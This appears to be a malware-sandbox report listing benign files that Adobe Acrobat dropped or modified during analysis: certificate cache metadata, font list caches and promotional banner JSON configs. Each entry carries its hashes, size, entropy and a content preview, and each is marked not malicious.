SHA-256:	F0CB4DB7CDC97D299D8BFB750C05A6153F6D771F7F464DA8E01499FA0A38B7DB
SHA-512:	DCC5581D982EE32F175012B0BFA9C1A5E53EF247C8346AAC3CBFBA17C531E30C216C87F7B54967CF648379C9660CE549C7B04F702B7181211E7E4DE295E40DC7
Malicious:	false
Preview:	p...... .........-f..e..(....................................................... ..........W....N...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.122786901155924
Encrypted:	false
SSDEEP:	6:kKwL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:IiDnLNkPlE99SNxAhUe/3
MD5:	F23D444624F76026CAA4D8348434C17A
SHA1:	998976E1DA2077BF59A9F65B8BDC61476390E9E0
SHA-256:	EA989FE4440D4B8840A6416DA07BD7C18188C0479E706877BEE3A95490F5E19C
SHA-512:	5940423A0B7BD7040EFC7018836C61A5ABAA7F0616474027C02087DA5346864CE9EDAFA6361B487237A9D6ABAD55BE007FE99CCF5B505C68B3DB06210BA3366F
Malicious:	false
Preview:	p...... ........}t...e..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3628

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3628

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3564889141268015
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJM3g98kUwPeUkwRe9:YvXKXlYYpW7LGMbLUkee9
MD5:	8BB4395CAFEF4E36F9BA3C95A46E8709
SHA1:	1DE6550A11744DFE7D6A7AC7774DB8DAB802FAF2
SHA-256:	446F649DDD38FB694DF9AA977BA406B5D01FB9906CE9AD3C3A36DCD35AA2144F
SHA-512:	60FE2FB254FA46C3411282F4DDCCD59ADF94403FABF21352F50A36432285059F0634B4826D61EF7AC7BF62A13940F7DD28086551067840FBD0D35F01777DE22B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295277098393769
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfBoTfXpnrPeUkwRe9:YvXKXlYYpW7LGWTfXcUkee9
MD5:	2C41AF0F303C5210F656C7D5F03F40C0
SHA1:	70423673AB7BA8B574040D5762DD4D5AEBF51249
SHA-256:	745B13A832FAC330189461CCE5FA24B44BFE1A7185BD3665A36691C379A7C2AE
SHA-512:	AB5AC7ACDEE0C9DA3060E5AA2882B918E9E8F388837442B6D355ECD48C26EF15C695D86C73DB1B9EFEE832641AB0A8B856C3141F638E96C9164195B740A0C3FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272091644577898
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfBD2G6UpnrPeUkwRe9:YvXKXlYYpW7LGR22cUkee9
MD5:	B7FA4CEAAF2E223404E81891B2FF954F
SHA1:	5493B812444E66E90BB55D343AAC41749A6EBC74
SHA-256:	0A0A6979548DA14A8C165EDC09605954C655BC5BF68BF6FD8B9C64B460039DE4
SHA-512:	75315FF9937E7BD03C4E3DF8EE8E67FE6AA683D176532FACAAA3B5158D7B8E2F1D3CF8734ECE327317AA03546D19C9E22574C0150435CD8908A582832217FF64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.335140582230197
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfPmwrPeUkwRe9:YvXKXlYYpW7LGH56Ukee9
MD5:	C6122C11CE0DCFB1642F35C827815545
SHA1:	E31AA7B06DC93799E49661351414C3F46B967E41
SHA-256:	F9BD3DFA76F50CCE6BF84E530C75CCB6047F5005829599C3E1D3DA70EDE27049
SHA-512:	212308B0DD6F2A059330567906DD8FB96E1A24E2365CADF4FDB158DA66545FF00D9BCBD5F7818EB9668F32F169E5650DC4E3BBC5A61F0DD1D8B4D05D01022D71
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692068731206212
Encrypted:	false
SSDEEP:	24:Yv6XlhiApLgE9cQx8LennAvzBvkn0RCmK8czOCCSO:YvtAhgy6SAFv5Ah8cv/O
MD5:	D378FD39726C18666338AB42BFA528ED
SHA1:	B7FBB4FD866AC71B4DAD5015B4B3A3DD39AC8AB5
SHA-256:	A20A6BF0D48B586D28ECC419A3214FB117F5312F05F4422D56B4BFA83E385AFD
SHA-512:	32EA71CF9A793E06A67F5C86B83998DE55CE420A83298D9B29E3F0E20E191E6388563454101FFE83AC45CB6D6B758A48E8E6C89D8719F7AA030A867C0E69A05E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282398757066132
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJf8dPeUkwRe9:YvXKXlYYpW7LGU8Ukee9
MD5:	A35A00ECB2DB94C771F55E0997BD618F
SHA1:	8C8DFADBF24A6ED356EF6E761E9DC8F1BFCA8F44
SHA-256:	A53AD191CAF099AB91CB5D90070D6D926580A4A861DBE2189442A53F294D50E8
SHA-512:	8759F64E444B203FCC6D9F64F6F8B3C2C9F605C154CF9185FCECC3BB9A281E0D0C214723202588719BAB0C89E63A1E86EE7C4CB74829A9062FBE542068B8147B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.284443587343935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfQ1rPeUkwRe9:YvXKXlYYpW7LGY16Ukee9
MD5:	A6C6BBC27388F553D057AD25AD194A6B
SHA1:	BA79B8EBF0D336B44A091F1C01C49D7A30AED925
SHA-256:	7A2B115C61C275F2F92B42CD9C06C1606C1BCFB0435C37197D0A76B24B5F0E44
SHA-512:	DC2F3115AA890362D13CFDA0A90DED4FBBBE0A12107D42674C27AD5873E0F4A708658CF4570055F6CE7F9AFBCEA8ACD11CA4159C52A81E3C31F1000CA034EA42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306437642374729
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfFldPeUkwRe9:YvXKXlYYpW7LGz8Ukee9
MD5:	C28473EFF7505EE35F6FDA1E253BB041
SHA1:	31C411B16C5FDE0CA5B4055043B8219EBE222F7F
SHA-256:	55D0148F6D410A1AFB08AAFBE7352F24A51FC84CF9D9AD7CDA7211953B170DE8
SHA-512:	4FA15727FD81CEF5EF4B9E22B1F449555A0D9AF0D08F23E03CCD6DD01A0C7DC32E128DDBA5234083F5B64EE1834263C1B86CB0938395394F59259745661B84E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.311474828169577
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfzdPeUkwRe9:YvXKXlYYpW7LGb8Ukee9
MD5:	3B04D35665A8A7D65597543D2D283AD1
SHA1:	F093B775ADC9BE425F26EC5904CB50C33CD31D1E
SHA-256:	21C00F9C06A22A509CB527677B812DF9B2D8697AA44AB902C1F9F33E147EDCB1
SHA-512:	2549D7E74F3F87BFC3472AA52ECAA0794231F0DAFF034E2F7D11FB3BC79A8EE8CB23851FE40E1BFCB28D3518348DBF6522848F104D50DEA274533586036E2C04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.292232267304048
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfYdPeUkwRe9:YvXKXlYYpW7LGg8Ukee9
MD5:	93CBDEA71E7C323332B2C8D2A98466D5
SHA1:	3F88B6157284CC2CE6CB9913546876C1DB72474D
SHA-256:	AE6F6D85E20007C9278FB8D4183EDB52AAEDC36F94D262CE186076C377608EF3
SHA-512:	AEF47A37550ED16CCF11CCADF7E886DE29F968FB1B61038581466AD9D8C4F32C3E39161BC2364192A723B2D78741539C06E10D13B8C0E24278A1F3ABFA60AB7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.277828182736558
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJf+dPeUkwRe9:YvXKXlYYpW7LG28Ukee9
MD5:	030BDE21A19D47D15E0A5EDEAF61A676
SHA1:	D4636EC6486C8DDD2416AA3BB55CE5D28C539E6E
SHA-256:	EF6847F41D51A2D97DBA64F34085D4024ABE10584B9BA6B5BCFB30C2CF384E96
SHA-512:	4C573E9F97D196D776A2038236B3F8D9F0B0D180589BEFA48CF682642FE34AA63DD18A6C5BE09FEA8D44C4FA92790E141BF2756A18CC573F936EB00F46AF10B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.275832751456922
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJfbPtdPeUkwRe9:YvXKXlYYpW7LGDV8Ukee9
MD5:	FCB33A6537693C594359622A17BA29DA
SHA1:	78DE8E39CB35847B14B96B5CFCFF9FA97F07C983
SHA-256:	D4FDDAD7F0EDA75F9B0BE2F661B3A4442EEE6F7BE01BDAE2CA198DBE29D2AE07
SHA-512:	FCA5B5EE8F3B314E888CF374CD1A2C831E4D52D9159AEDCF3AB794241DFAECA8F77DDC2EE11AAC13051399D397E6E31D0584EC3B2075CFF1D2D196D460AB1D59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1569c5f4-c87b-4925-a17f-93cba5c87ca7","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736957362869,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.277694319306767
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmQOO+FIbRI6XVW7+0YNoAvJf21rPeUkwRe9:YvXKXlYYpW7LG+16Ukee9
MD5:	6470BE1E91625723920AF20144D17C50
SHA1:	DB4D16D972EE584EF00D25D6C160A5181C382459
SHA-256:	9056C6025D8F2DD69223B938EB359A65F99DED855DF80FDDBD8EB6E3429FAB29
SHA-512:	79930E66AA05473F46171FD6D58BB5266545384877FEF530EF4AD8D32BF9F464F106160C7E25AB0274E64D1AC69DE43A391A6E6B21C1E7A16A8020BBADEC883C
Malicious:	false
